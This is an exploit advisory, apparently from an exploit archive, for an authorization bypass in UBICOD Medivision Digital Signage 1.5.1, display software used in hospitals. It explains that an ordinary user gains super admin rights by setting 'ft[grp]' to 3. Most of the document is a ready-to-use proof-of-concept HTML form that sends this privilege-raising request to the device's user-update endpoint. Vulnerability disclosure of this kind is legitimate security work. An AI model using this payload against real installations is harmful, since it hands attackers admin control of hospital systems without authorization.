51 lines
No EOL
1.7 KiB
Text
51 lines
No EOL
1.7 KiB
Text
# Title: UBICOD Medivision Digital Signage 1.5.1 - Authorization Bypass
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# Date: 2020-07-23
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# Author: LiquidWorm
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# Product web page: http://www.medivision.co.kr
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# CVE: N/A
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Vendor: UBICOD Co., Ltd. | MEDIVISION INC.
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Product web page: http://www.medivision.co.kr
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Affected version: Firmware 1.5.1 (2013.01.3)
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Summary: Medivision is a service that provides everything from DID operation to
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development of DID (Digital Information Display) optimized for hospital environment
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and production of professional contents, through DID product installation, image,
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video content planning, design work, and remote control. This is a one-stop solution
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that solves management at once.
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Desc: The application suffers from a privilege escalation vulnerability. Normal user
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can elevate his/her privileges by navigating to /html/user (via IDOR) page sending an
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HTTP GET request setting the parameter 'ft[grp]' to integer value '3' gaining super
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admin rights.
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Tested on: Apache/2.4.7 (Ubuntu)
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PHP/5.5.9-1ubuntu4.22
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
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@zeroscience
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Advisory ID: ZSL-2020-5575
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Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5575.php
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19.06.2020
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--
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<html>
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<body>
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<form action="http://10.0.39.2/query/user/itSet" method="POST">
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<input type="hidden" name="aa[_id]" value="157" />
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<input type="hidden" name="aa[pass]" value="123456" />
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<input type="hidden" name="od[]" value="name" />
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<input type="hidden" name="ft[grp]" value="3" />
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<input type="hidden" name="ip" value="0" />
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<input type="hidden" name="np" value="13" />
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<input type="submit" value="Submit request" />
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</form>
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</body>
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</html> |